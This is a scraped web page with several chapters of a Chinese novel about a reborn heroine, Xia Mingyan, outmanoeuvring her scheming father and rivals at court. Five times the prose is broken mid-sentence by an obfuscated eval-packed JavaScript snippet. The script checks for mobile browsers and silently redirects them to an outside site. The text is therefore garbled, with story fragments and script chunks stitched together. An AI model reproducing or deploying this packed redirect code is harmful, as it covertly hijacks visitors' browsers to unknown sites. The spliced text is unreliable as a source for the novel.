;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057099|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么影响,只是脸上的表情不大正常,身子稍微有些不灵便。” “可有些人就跟那脑子里有了血块儿的一样,有瘫了的,有腿脚不灵便的。不过不管是哪一种,这样的人以后也不是个全乎人了,就是骑马或是到风大、冷一些的地方去,都有再次病倒的风险。” 总之这人就要变成纸糊的美人灯了,当不得大用了,别说去北疆、南疆会有风险,就是在府里不出门儿,自己念书、**字,哪天被书里的东西或府里的谁气着了,都可能复发。 华靖离愣了一下:“没想到,万万没想到,这样至少去了一半的隐患。不过他自己不得用了,现在何夫人又要被关进寺里清修,就算他现在立刻就有子嗣,也赶不及养大了接他的班。” “这样的话,他定然会加紧扶持新的棋子,这棋子会是谁呢?有没有想法。” 夏明嫣只略微斟酌了一下:“不管他想要扶植谁,我们都得让这个人变成孙允斌。从心思上看,我们能笼络住他做眼线。这当中他也能得到他想要的前程,他不会拒绝。” “从能耐和可能上说,以孙允斌将来的地位和成就,他是压制和制衡李玦和南疆一派的最佳人选,选他最合适。” 要压制的不止是李玦一人,还有楚、夏、陆三家,到了南疆之后,还是那些个不服朝廷管制的王侯,论潜力和手段,最好的人选就是孙允斌。 上一世孙允斌便是笑到最后的那个人,只是他一开始是帮着李玦的,中间假装帮着东宫,后来把这两者都架空了。 指尖在膝上轻敲着,华靖离微微颔首:“那就还得想法子把他身上的绳索勒得更紧些,对于一个随时都可能背叛的人,我不信仅仅用一些前程上的许诺就能将他笼络住。” “说到底我们和圣上能给他的,只是比那边能给他的更光明些,实际上并没有多出多少利益来。现在这人看着还单纯,胃口还不大,可人的胃口是会被养大的。” 第420章翁婿和朝局 上一世的孙允斌一开始又何尝是一个野心勃勃的人? 但随着际遇的改变,他的见识多了,手上拥有的权利也大了,身边还有人不断地往那条路上引。他从前没有野心,将来也会有的。 等他有了野心,他背后之人不给的东西,他自己也会去抢。 还有乔依心的事儿,夏明嫣到现在也不敢忘怀。别看她和华靖离一个劲儿地把这个人往自己这边拉,可是该有的戒心,他们一刻都不敢放下。 这太有本事的人,一旦起了歪心思,那可不只是分道扬镳的事儿,那是会反过头来咬人、噬主的。 上辈子孙允斌娶了乔依心,导致乔依心在疯人谷不得善终,他骨子里不是个好东西,现在的温驯和胆怯不过是一时的,他骨子里那些阴暗、狠辣的甚至连他自己都没有察觉的东西,会一点一点地释放出来。 说实话,夏明嫣和华靖离都没有十足的把握收服这个人,最后这个人会站在哪一边不好说,他们只能争取在过程中用好这个人借力打力,能用多久就用多久。 两个人正商量着如何趁着孙允斌涉世未深,让他跟端侯府那边的关系断得更彻底些才行。这人要是将来注定要成为乱世枭雄,也希望他不要站到那几家这边。 没承想,被派去夏家送节礼的秋果回来,一回来她就说了李玦被气“**”了的这桩奇闻,而且还有比这更稀奇的呢: “夫人,您一定想不到,这老爷听说您治好了咱们侯爷,先生把杨家舅爷痛骂了一顿,说是把好好的把一个尚书府嫡女教成了一个医婆。” “这还不算,老爷居然让你去给那位世子姑爷解毒,这凭什么啊,又要用您,还要骂您和舅爷,这世子姑爷白天还当众为难咱们侯爷呢。” 用人朝前,不用人朝后,简直太过分了,他们也太理直气壮了。 华靖离想到夏庸那副理所当然的样子,笑了一下:“要是换了别人,既然岳父大人发话,是该让你家夫人去一趟的,可是换了这一家。” “你若是去了,他但凡没全好了,将来也得怪到你头上。再加上这小姨子,只怕你要有的烦了。” 本来这病就不可能完全治好,好了也是眼前的,就算平时将养得很好,一点意外都不出,年纪大点一定也会复发。 这些不是任何郎中的错,可要是换一个不相关的郎中也就罢了,可要是夏明嫣去了,将来但凡出一点问题,不是她的错,也得是她的错。 夏明嫣可不是上辈子那个被他们用孝道和名声捆绑的侯门贵妾了,那时候她是为了活着,不敢得罪娘家,现在,她管他们,她就是傻子。 她笑了笑:“我又不傻,犯得着给这个妹夫看诊么。不过,既然父亲大人都捎回话来了,我也少不得回去说一声,省得以后他再问起,还是得去说。” “要不要我陪你回去?”华靖离体贴地道。 毕竟父女一场,万一夏明嫣还顾忌着夏庸,难听的话就由他来说,对她的名声也好。 在外人眼里,做父亲的把女儿送回老宅养大并不是一件多不近人情的事,楚氏在世人眼里更是派了楚家的女师去教养她长大,这四位女师是能跟宫里头公主用的比的,他们在传统的父母之道里并没有大错。 要是夏明嫣直接开口拒绝了夏庸,很可能会落下不孝、不从父母之命的骂名,还可能有人会同情楚氏,说他这个继母当得不容易。 夏明嫣看了他一眼,便猜到了他的心思:“你要是替我开了这个口,你可就要成‘恶夫’了。虽说这女婿孝不孝顺的没多少人讲究,可传出去也不好听。” “何况他是兵部尚书,虽说现在华家军不归兵部管,可是你之后总有些从北疆撤下来的兄弟和同僚,要通过兵部安置,这个时候得罪他不好。” “我知道你护着我,可多一事不如少一事,这种时候就让我这个无知的妇人去对付他吧。” 着世道,做女人的确比做男人的限制多,可是遇上这种不讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061078|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理、爱打压人的男人和长辈,女人也有优势。 他们不讲理,她可以胡搅蛮缠甚至撒泼打滚,别人说她没教养、俗不可耐,反正她是在乡下地方长大的,还是他们送她的,她再粗俗、没教养也是应该的。 可华靖离就不一样了,他跟夏庸之间不仅有翁婿的关系,在朝堂上还有往来,最关键的是,军侯府统领各自府军是大恒立朝时为了保境安邦时朝廷设立的规矩,如今这规矩虽然还在,但也出现了要变革的迹象了。 如今北疆眼看着就要安定了,再把南疆的事儿做成了,这些府军要不就得卸甲归田,要不就得收归朝廷由兵部管理。 虽说平定南疆是十年后的事儿,可既然圣上和朝廷已经有了这样的想法,就难免有人在这时候就已经开始站队了,要是华靖离和夏庸发生了争执,难免有人会把事情引到兵部和府军的关系上。 别看圣上和太子如今都信任华靖离,可君王的信任也有可能在某一个瞬间改变,这里面有许多不可预测的东西,万一因为这么一件小事就让华靖离遭了忌惮,那就太得不偿失了。 于是,第二日,夏明嫣穿得灰扑扑的回了夏府,一路上秋果都在埋怨,说不知道的还以为她把董氏的衣服给穿出来了。 下马车之前,夏明嫣还让秋果帮她看看,这副打扮能不能让她看起来很委屈、很伤心。 秋果莫名其妙地道:“夫人,咱们为什么要委屈、要难过啊,您让奴婢也穿了一身素,昨天明明是咱们侯爷赢了,世子姑爷输了,他还没理,咱们应该高兴,穿喜庆点儿才是啊。” “奴婢听说,今天二姑娘也要回府,您这样子倒像是对不起她了似的。” 夏明嫣伸手在秋果额头上点了一下:“李世子这病很是稀罕,之前那些个被气病了的人都没他这个严重、少有,现在全城的人都知道他这是被气病的。” “你来说说,在这些人心里是谁把他气成这样的?是夏明月还是咱家侯爷?” 第421章一把年纪了,诚实点 秋果眼珠子一转,立刻明白过来:“他们大概会觉得是侯爷气的。” “这事儿就看怎么说了,根子上肯定是侯爷气的,因为影响到他的前程了和家计了,可最终把他刺激成这样的,我猜是夏明月。” 夏明嫣笑着叹了口气,“发生了那样的事,李世子回去之后,夏明月会说什么,我不用听都能猜到。如果只有昨日白天的事儿,这位世子爷不见得会这样,是夏明月给他雪上加霜了。” “可世人只会说他是被咱们侯爷气的,我要是穿得喜庆了,还不得被人说是幸灾乐祸?一会儿下去,你记得拉着我点儿。” 马车停下了,脚凳都还没摆好,夏明嫣就着急地跳了下去,秋果边在后面追她边叫她慢点,她呜呜地就哭了起来: “这怎么能慢呢,昨天就听说妹夫病了,父亲这么急着叫我回来,想必是二妹妹也病了,我怎么能不着急。” 秋果一个机灵,哆嗦了两下上前扶住夏明嫣,带着哭腔道: “夫人,这怎么能怪您跟侯爷呢?着急也没有用啊,您只是做姨姐的,难不成还要给自己的妹夫瞧病、扎针……他们又不信您,还说蛊医是巫蛊呢。” 夏明嫣和秋果都是从小在老宅看人眼色长大的,平时或许看不出什么,但凡需要做戏了,有人起个头,这戏做得是一个比一个好。 街上的人眼看着这主仆俩边走都边要抱头痛哭了,都议论起来,说这夏家人也是够强人所难的,怕是夏明嫣治不好李玦两口子,就得被诬赖成在行巫蛊之术。 在众人的注视下,主仆二人进了尚书府的大门,就当秋果以为夏明嫣还要继续“哭”下去的时候,她一改方才的作态,身后的门刚一关上,她就站在台阶上整理了头发和衣裳,嘴角含着笑,从容、优雅地走了进去。 她就是要让这府里的人都知道她刚才就是在故意做戏的,就是要气他们。 凭什么她就得低声下气的?朱老太太和沈小娘都不在这儿住了,这府里的人没一个对她有恩义的,她就是让他们都知道,以后别指望她。 秋果看着这样的夏明嫣,忽然想起一句话,用最得意的仪态穿最丧气的衣裳。 夏庸看着坐在面前的椅子里低着头研究着自己绣鞋鞋尖的女儿时也想到了这句话,他现在已经明白夏明嫣不是那等老家乡下来乖顺女儿了。 尤其是他知道楚氏对夏明嫣做了那样的手脚之后,不过一个女儿即便没有子嗣,对他和夏家来说也没多大损失,因此他也没有太过责难楚氏,只是斥责了几句。 他甚至也没觉得从此就要跟夏明嫣剑拔**张了,只要有利益在,什么都可以谈。夏明嫣翅膀硬了,可也没硬到完全不需要娘家的地步吧。 夏庸咳嗽了一声,试图唤回夏明嫣的注意力,谁知道夏明嫣依旧盯着自己的鞋尖看,连一点余光都没给他: “你回来连个礼都没行,你是越来越没规矩了,华家就是这么教你的?教你不孝父母,不帮扶弟妹?” 夏明嫣站起来敷衍地行了个礼,然后重新坐下,继续看着自己的鞋尖,冷笑了一声: “华家教得很好啊,父慈才能女孝,昨日刚发生了那样的事,父亲还把女儿叫回来,为了什么,您心里清楚。您都想在世人面前造成误会,让他们认为我不救我那世子妹夫就是错的。” “喔,救了,之后出了问题,也都是我的错。不单如此,您还想暗示这一切都是我夫君指使的。诶,您别急着否认,年纪一大把了,还是诚实点吧。” “你胡说,我何尝想过诬陷华侯?”夏庸眼睛一瞪,没想到她能一说即中,连忙掩饰住自己的心虚。 夏明嫣终于抬眼看向他,会心一笑道:“父亲早已不是初入元京求学、应考的士子了,连这借力打力、故意模糊界线的招数都不懂的话,也做不成这尚书大人了。” “父亲啊,当您决定把我送回卢阳老宅的时候,就应该清楚,您和我做不成寻常父女了。别说您没想到,您好歹是尚书大人,还是楚相看得入眼的女婿……尽管是临时顶上的,您不会不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063076|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懂这些。” 夏庸能坐上这个位置,靠的就是在外面的人情练达、擅长和稀泥,能平衡几派势力,做个和事佬。 他要说他不懂这些,纯粹就是装的,是在做戏,夏明嫣成婚之前的那个晚上,对她说出那番功利言辞的人才是真正的他。 夏庸神色一变,倒是比之前坦诚了不少:“既然你如今已经是侯夫人了,也该懂些事了。朝廷已经开始着手收归军侯府的兵权,这华侯怕是不肯退。” “我让他身上染些嫌疑,也能逼一逼他。他如果能够从善如流,对你来说,也未尝不是一件好事。” “父亲,我一个妇道人家,您跟我说这些有什么用?况且朝廷有什么方略,真有想要我家侯爷配合的,圣上会直接跟他说的。您年纪也不小了,该享享清福了。” 夏明嫣没直接反驳他,但就差让他少管闲事,小心妄自揣测圣意,管得多,死得快了, “您就别绕弯子了,叫我回来不是真想让我给我那世子妹夫治伤吧?别说这扎针、施药,我一个女子,不方便。就算我作为医者,不介意男女大防,他们也会拿这个大做文章,我犯不上。” “况且蛊医的那些法子,你们真放心我给他治啊?这种讨人嫌的事儿,我不做,您别劝我,没用。您要想听句实话,我也告诉您。” “如果传言是真的,他这病谁知也不能全好了。您有空在这儿劝我,倒不如劝劝二妹妹接受现实,以后就怕妹夫做不成‘冠玉公子’喽。” 这要是瘫了、瘸了,或是面部僵硬、抽搐了,从前这雅号定是用不了了,说不定就被华靖和给赶超了。 夏明月对李玦的那点儿心思,有一半儿都来自对李玦外貌的爱慕,要说性情,远香近臭,真过日子了,反而没那么好了。 要是李玦变成那样,支撑夏明月跟他过下去的支柱立时就倒了一半儿,还不得闹翻了天。 上回因为吕家的事,夏明月咆哮公堂、当堂撕打自己的丈夫和婆母,这一次呢,她又会怎么疯? 第422章没脸没皮也挺好 夏明月要是发了疯,的确要可能拉上夏明嫣和华靖离一起**,但谁说就一定不会拉上夏庸和楚氏呢? 夏庸显然听明白了这层意思,他很想反驳夏明嫣,可反驳的话竟说不出口,还不自觉地打了寒颤,他现在是真的怕了他那个二女儿了。 夏庸语气好了些,试探着问道:“华侯的身子真的全好了?该不会是王老太医……” 夏明嫣看着夏庸一副小心翼翼的样子,忍不住笑了一下:“怎么会呢,父亲,那么多的医者,要是假的,就算王老太医暂时压制得住其他医者,之后也难保证他们都不乱说。” “何况您这问题问得也太没意思了,是不是真的,有那么重要吗?陛下和太子殿下都说他痊愈了,他能不痊愈么?” 既没否认,也没完全承认,说得云山雾罩的,夏庸也不好追究,可有件事就不一样了,他高声质问道: “真是你治好的华侯?你跟着你舅父学了蛊医之术?你怎么学的?他教了你几次,你就能治好华侯了,怎么可能……” “好一个杨敏仁,他居然敢教你医术,还在那么多人的眼皮子底下,他定是在老宅安插自己人。说,是谁?” 这一连串地问题一出,夏明嫣的确有点心虚,因为她的医术是在前世的南疆练出来的。 那时候李玦已经重建了李家军,虽然人数上远远不足华家军,可正因为如此其他建制上也不够完备,就好比郎中的数量也严重不足。 她那时为了照顾水土不服的李玦留在了军中,因为读过几本医书,加上心细、手稳,便跟着军中原本的郎中一起上手了。她为了让自己尽快得用,闲下来的时候还会到附近的村镇给百姓看诊,多多少少全算上,可能诊治了上万人,医术才算是精进了。 但就这一世来说,她的医术确不可能有这样的水平,这也是她唯一解释不通的地方。 好在,夏庸不通医术……夏明嫣美眸一瞪,理直气壮地道:“父亲这话说的,总有些人在某些方面很有天分,可以一点就通,甚至无师自通。别人学十年、二十年,他们只要学几年就可以了。” “父亲不懂医术,不能明白这当中的精妙之处。不过从另一个角度想想也不难理解,父亲您没带过兵,也并非出身军户。” “我祖父甚至曾祖父也都是读书人,未曾给您耳濡目染的机会,您不也一样从吏部侍郎调任兵部尚书了吗?虽说有楚相的扶持,可也不能说您在这方面一点能耐都没有吧?” “这……倒也是这么个道理。” 夏庸不得不承认这一点,再有人帮扶着,要是一滩烂泥也扶不起来,他要是没点天赋,这么多年过去了,他怎么能扛得住那么多攻讦。 他有些狐疑地打量着夏明嫣,最后也不得不信了,如果华靖离不是夏明嫣治好的,他们应该不敢欺瞒圣上,更加不敢在元京开设医馆、药铺。 不然,等医馆开起来了,要是有人非要试一试夏明嫣的医术,也遮掩不过去。华靖离不可能为了跟李玦斗一口气,就拿这样的话糊弄人。 就算华靖离昏了头了,为了给夏明嫣抬轿子撒了个弥天大谎,给夏明嫣的医术做见证的两名太医和王老太医、齐大娘子,也不会愿意拿自己的脑袋帮他们夫妇圆谎。 那就是真的的了,毕竟夏明嫣身上流着杨氏的血,杨氏生前在医术也颇有天赋,后来是因为他觉得跟医婆扯上关系不体面,才放弃的……大概夏明嫣就是像了杨家人。 夏庸越想越觉得丢了颜面,喋喋不休地道:“你是我尚书府的千金,原配嫡出,你怎能跟那些医婆似的,丢脸至极。你学了便罢了,居然还当众说出来,还要开医馆。我这张老脸都不知道该往哪儿放了,你让还怎么上朝……” “照您这么说,救了华侯,扶起了大恒北疆的顶梁柱反而有罪了?您真有意思。” 夏明嫣才不像上一世那样一听她让家里丢了颜面,就请罪、道歉,之后为了补偿他们,就去满足他们各种过分的要求。 她眼中含笑,阴阳怪气地道 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夏庸深吸了几口气,才让自己的语气和缓了一些,要不是他要从这死丫头这儿打探消息,他已经要动家法了: “华侯病愈之后,他的变化着实有些大。你如今是他的正室夫人,又深得他的宠爱,你能给为父透几句实话,他跟你妹夫割袍断义,还有昨日的种种,当真是因为吕家和明月得罪她那个庶弟?” “这里面会不会还有别的原因?他怎么就突然开始针对你妹夫了,是不是……跟你有关系?” “跟我有关系?有什么关系?” 夏明嫣本来扮出了一副死猪不怕开水烫的样子,这回是真被夏庸给问蒙了,这能跟她有什么关系? 虽说她跟华靖离都重生了,夏庸不知道,从这个角度来说,里面的确有她的原因在,毕竟有些事华靖离不知道,是她告诉他的。 可但凡会与外人发生交集的事,他们都是掩饰过的,会让每件事从另一个角度也说得通,应该不会被看出来才对。 第423章值不值得 夏庸面色一沉,显然以为她在故意装糊涂:“你原本是要跟世子成婚的,是明月使性子换了亲,虽说华侯现在转危为安了,可当初你嫁过去的时候,是可能一过门儿就守寡的,你当真不怨恨?” 哦,原来夏庸是这样想的,以为她没嫁成李玦而心生怨恨,给华靖离吹枕头风,让他针对李玦和夏明月。 夏明嫣被气笑了,不是微笑和轻笑,而是止不住地大笑,直到眼看着夏庸都要拍桌子了,她才道: “父亲,您还真是不了解我,也不了解明月和登云,咱们夏家可不出痴情种。看看您自己,不也跟夫人好好地过了半辈子了么?” “您可有因为这桩亲事而怨怼楚家、陆家?怨不怨的您不说,别人也没法知道,可您也没失去理智到当众为难人家的地步吧。” 说完夏明嫣又笑了起来,她就是故意把陆家的事儿挑明了的。事情已经发展到这一步了,再装傻就没意思了。 要谋算一件事,直接说自己什么都不知道、装清白、装无辜是没有用的,都是一个窝里出来的,谁又能相信谁一直傻乎乎的? 太像一张白纸了,反而假了,倒不如含糊一点,哦,这事儿好像是知道的,那件事知道的不是很清楚啊……这样云山雾罩的反而能起到迷惑敌人的效果。 而且面对夏庸这样的人,他功利、现实,她就得更功利、现实,这样才能在出其不意的时候刺痛他。 他感到痛了才会生乱,乱了他们才有机会摆弄他的方向,让他按照他们设定好的方向走,才能在这一路上尽量减少他们自己的损伤。 这陆家无疑是夏庸心里最大的一根刺,都已经撕破脸了,不提一提就有些反常了,这也是一件最能跟他想出来的荒谬理由最能类比的一件事了。 “你在说什么,你就是这样议论父母的么?”夏庸显然没想到夏明嫣敢议论她的私事。 夏明嫣半点没被吓到,反而颇为大胆地道:“这哪里用得着我来议论,早就是街头巷议的东西,只是不当着您的面说,您不会以为不存在吧。” “您这般反应,说明我是得给您提个醒了。您当年娶了如今的夫人,楚相是满意了,夫人呢,心里未必就放得下,至于有没有什么逾越规矩、礼教的事,我一个做小辈的不敢妄议。” “可看您的表情……您应该是不大高兴的,毕竟母亲当年跟陆公子的传闻跟二妹妹和世子妹夫的相比,可是有过之而无不及的。” “这都过去快二十年了,您尚且放不下,说您心里有怨恨也不算说错了,可您也没让人到彭州去给陆家使坏吧?唉呀,我这是给您提了醒了,您要不要派人去彭州看看?正好了解一下陆公子怎么样了。” 夏明嫣处处话里有话,这让夏庸不得不多想,按理说,明面上他跟陆远山最多只是情敌关系,中间有些争风吃醋的逸闻可以理解,可显然不止如此。 夏庸心里警钟大作,再开口语气里便带了警惕,也不再左兜右转地旁敲侧击了: “华侯知道了多少?他知道端侯府在南疆的筹谋?你如今虽然是他的侯夫人了,可你别忘了,他广纳妾室,将来还会生出庶子、庶女来,那些妾室也不会是省油的灯。” “你一心为他,可也别忘了,将来你也是需要夏家支持的。这种时候你得站在家里这边,别忘了你是姓什么的。” 夏明嫣却又开始装糊涂了:“怪了,我自小不在家中长大,更是对您和这几家世交长辈的深交一无所知,您现在指望我和我夫君知道端侯府在筹谋什么,也太难为我们了。” “不过,这事儿其实也不难猜。世子妹夫心心念念地重建李家军,端侯府从前的势力一直在南疆,虽然现在没了他们的地盘,可想来旧部尚存,老端侯定是给他留了些家底的。” “这筹谋便也不难猜了,无外乎就是想要恢复端侯府昔日的荣光,建功立业,得到更大的权势……不然呢?” 这猜测合情合理,老端侯留下了部分旧部,这一点不算难猜。 关键是,他们应该没想到当年压根就没有发生沉船这样的事故,那些宝物都还在。< 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“您让我帮着二妹妹他们,您是想让我做眼线监视我夫君,再适时地影响他的决定?那您可想多了,我一个乡下回来的、有名无实的尚书府嫡女,哪儿能攻克得了堂堂钩翊侯玄铁一般的意志啊。” “你这是拒绝了?论渊源,我们跟端侯府的关系更为紧密,一荣俱荣、一辱俱辱啊。” 夏庸很震惊,他怎么也想不到夏明嫣竟然彻底拒绝了,看这架势,还像是彻底不打算往来了。 而且她既然敢这样说,怕是华靖离也是这样想的,以后只怕是跟华靖离那边只能做面上的翁婿了。 夏明嫣看了看他,十分冷静地道:“您想利用别人,又不肯下血本,天底下哪儿能有这么好的事,更别说他根本不是那样的人了。” “我今天就把话放这儿,夏家和楚家、陆家的关系太复杂了,我们不想掺合。除非你们做了什么不该做的,逼得我们不得不做些什么。” “您与其在这儿想着利用我去操控我夫君,还不如想想我这个妹夫到底值不值得托付,值不值得为了他去得罪别人。” 第424章时间长,变数大 夏明嫣笑着叹了口气:“父亲大人,从小到大,那四位女师只教了我如何做一个听话的大家闺秀,我自己也只学了医术,甚至咱们父女两个见面的次数都屈指可数。” “都说这头二十年以钱换艺,后二十年以艺换钱。咱们这两父女之间,是没钱、没艺,情分还很淡薄。别说我一介弱女子没法子影响堂堂钩翊侯,就算能,我也不愿意。” “您还是别费心思让我当什么眼线了,您再如此挑拨我们夫妻之间的关系,我就得让您知道一下,什么是嫁出去的女儿泼出去的水。” 夏家之所以一开始让夏明月嫁给华靖离,就是指望着夏明月这个一直在夏家受教而相对来说更加行事有素的女儿去影响华靖离的。 而端侯府的情况再复杂,从与楚、夏两家利益与共的角度来说,也是相对容易的,嫁过去的人要做的事也更加简单,只要把里面的动向定期告知家里就行了,就是一个单纯的眼线,所以在一开始的时候,家里安排了夏明嫣嫁过去。 夏庸从来没有想过对夏明嫣委以重任,自然从来没有用心栽培过,相反的,把这样的女儿教得呆一点、懦弱一点,还方便他们操控呢……那么他现在哪儿来的脸要求她干这干那? 如果夏明嫣是以一种央求的姿态说出这些话的,或许还有转圜的余地,可她已经这样了,夏庸也不敢报太大希望了。 只是夏庸到底是做父亲的,他对眼前这个变化太快的女儿着实缺乏认知,他还是想先探探底: “你想做什么?你又能做什么?就算你不愿意算计华家,也不必把话说得这么绝,夏家到底是你的娘家,你的母族!” 没有情分也能有交易,把话说**,那就是摆出立刻就要撕破脸面的架势了,眼下应该还不至于。 夏明嫣也知道还不至于,因此她说话时就带了些玩世不恭、半真半假的意味: “既然我已经嫁人了,父亲要是不放我回去,我夫君必要来接我。我出了这个门儿,就直奔宫门去吧,到陛下和皇后娘娘面前说一说。” “说什么呢,就说我的世子妹夫不知道在钩翊侯府安插了多少眼线,竟然让他相信了我夫君并没有痊愈,他以此为把柄在大庭广众之下公然要挟我夫君。” “还是好好问一问这端侯府到底有多少秘密,在南疆还有多少班底,让我父亲三番五次地要为自己二女婿出头,还要为此对大女婿别有居心……也不知道要干点什么。您说,我这么说可好?” 夏庸的眼睛越睁越大,气得眼珠子都要凸出来了:“你你你……你这个不孝女,我不过是想着如今跟华家已经是亲家了,想着有什么事儿两家能在一处才好,没有别的目的。” “这种话您自己信就行,没必要对我说。您别觉得是我不肯担事儿,您几位要争的是朝堂上的事儿,我一个女子,自己不能冲锋陷阵,大恒又只有内宫有女官,我再能干,也不过是能给我夫君一些影响罢了。” “你要是想把大女婿的东西往二女婿家里倒腾,归根结底最后还是得让二女婿自己去拿,到了手的东西也得他亲自掌控,总不能到时候还要靠我,或是让二妹妹在他身边把着他的手,控制着他怎么做吧?” 李玦毕竟只是夏庸的女婿,不是儿子,夏庸并非真心扶他上位,从头到尾,他要的只是一个傀儡。 前世夏庸一开始的时候对夏明嫣的要求也是让她做个眼线,看住李玦和何夫人,可是到了后来,他一样希望她能够影响甚至控制住李玦,这样才能把李玦变成夏家的傀儡。 只不过最后夏庸玩儿砸了,没想到夏明月会为了这个男人反过来害夏家,甚至害他在中风之后瘫痪,反倒是让李玦占了便宜,在朝堂上成了继孙允斌之后的第二号人物。 可是不得不说,最后靠得还是李玦自己动手取代了华靖离,若非他自己站了出来,有再多的人在背后帮他也没有用。 夏庸这回终于听进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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关键还是时间跨度太大了,无论是夏庸还是楚霆孝最终都不得不放手,与其做尽一切却给人做了嫁衣,倒不如从一开始少做一些,轻松一些。 夏庸还不如从兵部尚书的位子上退下来,好生教导夏登云呢。 夏庸看了夏明嫣一眼,态度没有之前激烈了,却未减迟疑:“他对华侯虚与委蛇多年,对明月……还是真心的吧?” 第425章终于听进去了 夏明嫣圆睁着眼睛看着夏庸,看着看着就笑了:“对自小扶助自己于危难的兄弟尚且能够做了十余年的戏,对二妹妹……二妹妹认识他,好像还比我夫君与他结拜要晚吧。” “那么小的时候,他都能装那么久,对二妹妹又能真到哪儿去?更何况父亲是男子,应该更懂男子才对,在你们男人心里,江山和美人,哪个更重要?” “真让他上去了,他是会选择江山,还是会选择手边一件已经穿旧了的衣裳?别说以后了,现在他们的关系也已经不如成婚前和睦了。” 剩下的便不用多说了,夏庸自己这辈子有两任正妻还有几个妾室,他对谁都没有过那种痴迷的情感,其实拿自己做例子想想就能想明白,女人对男人的影响究竟能有多大。 就是夏明嫣自己也不认为自己对华靖离的影响能有多大,她能跟华靖离携手同行,从本质上说,是因为他们从骨子里是一样的人,而不是谁改变了谁。 都这么大的人了,性情和做事的方式哪是那么容易改变的,能耐更不是能轻易提升的。 华靖离的确让她比从前看得更开了,让她没有把自己变成一个为了复仇不择手段的人。 可那个被蒙了眼的自己,不过是被仇恨冲昏了头脑之后衍变出来的另一个自己,华靖离为她做的是找回了她那个真正的自己,可这个真正的自己是一直存在的,并不是被谁创造出来的。 夏庸想让李玦做的却不同,李玦骨子里就不是一个知恩图报、有恩有义的人,他想通过一个夏明月就保障整件事走向他想要的方向,他可把这件事想得太简单了。 要是夏庸知道上辈子的事儿,恐怕他的错觉会更重,他会觉得脸她都能笼络得住李玦,李玦本身就对夏明月有情,难道夏明月还做不到了? 这世上有些男人宁愿相信女人对他们只有仰慕,而他们之所以看重这个女人,是因为他们也心仪这女人……是那种只基于男女之间关系的心仪。 他们不愿承认,是因为这个女人为他做了很多,甚至在他的前程上有很大的助益,他才离不开她,或是不能离开她的。 同样的道理,夏庸也会选择性的忽视夏明嫣是因为为李玦做了很多,让他不能没有她了,才将她扶正的。他只会去想,夏明月凭着李玦的一腔神情更容易成事儿。 可实际上的结果呢?上一世夏明月只是在坐享其成,她并没有让李玦做出任何改变,虽然她这样做,反而让李玦对她更好了,却达不到夏庸和楚霆孝对她的要求。 不过凡事落到自己身上,想要推己及人总是难的,没人提醒,夏庸身为男子,又是一个自傲的男子,是很难想到这些的。 夏庸皱了眉道:“他们最近的确闹得难看了些,都是明月不懂事,这回说什么都得给她一个教训。她这般做派,哪个男人都受不了她。” 这是还没放弃希望呢,夏明嫣看了他一眼:“她都多大了,还能改得了么?她已经犯了世子妹夫的大忌了,就算她改了,也弥补不了多少。” “父亲,若是夫人伤害了祖母,甚至把祖母送进了牢狱里,你可会对她心无芥蒂?即便是祖母有错在先,她是在顾全大局,怕是您也会对她设防吧。” “况且您有没有想过,世子妹夫究竟是被我夫君气着的,还是被二妹妹气着的?” 吕家的事原本就存在,但却是因为她跟华靖离设局才被揭露出来的,可是李玦和夏明月并没有意识到这一点,在他们看来,这事儿就是被他们诬陷华靖和牵出来的。 尤其在李玦看来,诬陷华靖和不仅是夏明月的主意,还是她一手操控的,之后要不是夏明月在公堂上使劲儿地折腾,不肯息事宁人,还帮着外人说话,何夫人很可能不会被判得那么重。 特别是何夫人这还没被送去寺院呢,身体就垮了下来,想来是那股心气儿没了,就撑不住了,之后还有清修十年,说不准就要交代在里面了。 就算何夫人还有出来的一天,在她出来之前,李玦也会一直担着心。十年啊,这种担忧日复一日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075148|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 